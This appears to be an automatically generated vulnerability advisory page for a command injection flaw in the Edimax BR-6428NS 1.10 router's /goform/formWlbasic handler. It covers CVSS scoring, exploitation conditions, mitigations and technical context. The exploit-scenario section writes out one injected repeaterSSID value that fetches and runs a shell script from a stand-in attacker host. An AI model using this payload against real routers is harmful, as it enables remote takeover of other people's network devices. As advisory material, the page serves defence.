Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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AccessObtain low-privilege web interface credentials (default or guessed)
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DeliverySend crafted POST request to /goform/formWlbasic
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ExploitInject shell metacharacters in repeaterSSID parameter
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ExecutionRouter executes injected OS commands
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ImpactAchieve persistent root-level access or lateral pivot from network edge device
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires valid credentials to the Edimax BR-6428NS web management interface, confirmed by the CVSS PR:L (low privilege) designation - unauthenticated exploitation is not indicated by available data. The attacker must be able to reach the management interface over the network (AV:N, AC:L), meaning the web GUI must be reachable from the attacker's position (LAN or WAN depending on device configuration). The specific trigger condition is a POST request to /goform/formWlbasic with a manipulated repeaterSSID parameter - the repeater/WISP functionality does not need to be actively in use, only the handler must be reachable. No special non-default configuration is required beyond standard device operation. Exploitation is limited by the need for authenticated access: devices using strong, non-default credentials are materially harder to exploit than those retaining factory defaults. |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L) places this at medium severity (6.3), but several factors complicate a simple score-based triage. The PR:L (low-privilege authenticated) requirement is the primary limiting factor - an attacker must first obtain valid credentials to the router's web interface, which on many home and small-business devices use default or weak passwords, substantially lowering the real-world bar. Attack Complexity is Low and no user interaction is needed, meaning exploitation is straightforward once credentials are obtained. The temporal modifier E:P confirms a publicly available exploit, which elevates the practical risk beyond the base score. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no EPSS score was provided, so automated or widespread exploitation is not confirmed. The vendor's non-response to pre-disclosure contact means there is no official guidance or patch, leaving deployed devices permanently exposed unless owners apply independent mitigations. For network-edge devices like routers, command injection with OS-level impact is typically more consequential than S:U/C:L/I:L/A:L implies, since root-level access is common on embedded Linux routers regardless of CVSS scope notation. |
| Exploit ScenarioDerived | An attacker who has obtained low-privilege credentials to the Edimax BR-6428NS web interface - via default credentials, credential stuffing, or phishing - sends a crafted HTTP POST request to /goform/formWlbasic with a repeaterSSID value containing shell metacharacters (e.g., repeaterSSID=legitSSID;wget+http://attacker/shell.sh+-O+/tmp/s;sh+/tmp/s). The router's CGI handler passes the unsanitized value to a system command, executing the injected payload with the privileges of the web server process, which on embedded Linux routers typically runs as root. A public proof-of-concept detailing this technique is available via the Notion writeup linked in the references. |
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Alert meAnalysisAIv1 – May 23, 2026
Command injection in the Edimax BR-6428NS 1.10 wireless router's web management interface allows a remotely authenticated attacker to execute arbitrary OS commands by manipulating the repeaterSSID parameter in a POST request to /goform/formWlbasic. A publicly available proof-of-concept exploit exists, raising the practical risk above what the moderate CVSS score of 6.3 alone suggests. The vendor was notified prior to disclosure but did not respond, meaning no vendor-supplied patch exists at time of analysis.
RemediationAI
No vendor-released patch has been identified at time of analysis - the vendor did not respond to pre-disclosure contact, and no Edimax security advisory exists. As the primary compensating control, administrators should immediately disable remote (WAN-side) management access to the router's web interface if it is exposed to the internet, preventing unauthenticated network reachability to the vulnerable endpoint; note this does not protect against attacks from the LAN. LAN-side access can be restricted by binding management access to a dedicated VLAN or management network segment accessible only to trusted hosts, reducing the pool of potential authenticated attackers. Changing default credentials to a strong, unique password raises the authentication barrier and limits opportunistic exploitation, though this does not eliminate the vulnerability. Network-level filtering of POST requests to /goform/formWlbasic at a perimeter firewall or IPS can block exploitation attempts where inline inspection is available. Consider replacing the device with a supported model if no firmware update is released, as an unpatched command injection on a network edge device represents persistent long-term risk.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The Edimax BR-6428NS is a consumer-grade wireless router exposing a CGI-based web management interface. The vulnerable component is the formWlbasic handler, a server-side function responsible for processing wireless basic configuration, including repeater (WISP/WDS) settings. The repeaterSSID argument - the SSID value for the repeater association - is passed directly into a system-level command without adequate sanitization, satisfying CWE-77 (Improper Neutralization of Special Elements used in a Command). This class of flaw occurs when user-supplied input containing shell metacharacters (e.g., semicolons, backticks, pipe operators) is interpolated into a shell command string executed by the device's operating system. The CPE string cpe:2.3:a:edimax:br-6428ns:*:*:*:*:*:*:*:* uses a wildcard version field, indicating NVD has not bounded the affected range beyond the confirmed 1.10 firmware.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
2DescriptionCVE.org
A security vulnerability has been detected in Edimax BR-6428NS 1.10. Affected is the function formWlbasic of the file /goform/formWlbasic of the component POST Request Handler. The manipulation of the argument repeaterSSID leads to command injection. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Stack buffer overflow in the Edimax BR-6428NS router (firmware 1.10) allows remote authenticated attackers to corrupt me
Stack buffer overflow in the Edimax BR-6428NS router firmware version 1.10 allows authenticated remote attackers to corr
Buffer overflow in the Edimax BR-6428NS 1.10 router's web management interface allows authenticated remote attackers to
Stack buffer overflow in the Edimax BR-6428NS 1.10 wireless router allows authenticated remote attackers to corrupt memo
Command injection in Edimax BR-6428NS firmware version 1.10 exposes the device's operating system to remote command exec
Command injection in Edimax BR-6428NS firmware v1.10 allows authenticated remote attackers to execute arbitrary system c
EUVD-2026-31532
GHSA-gxpf-66ch-99jw
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB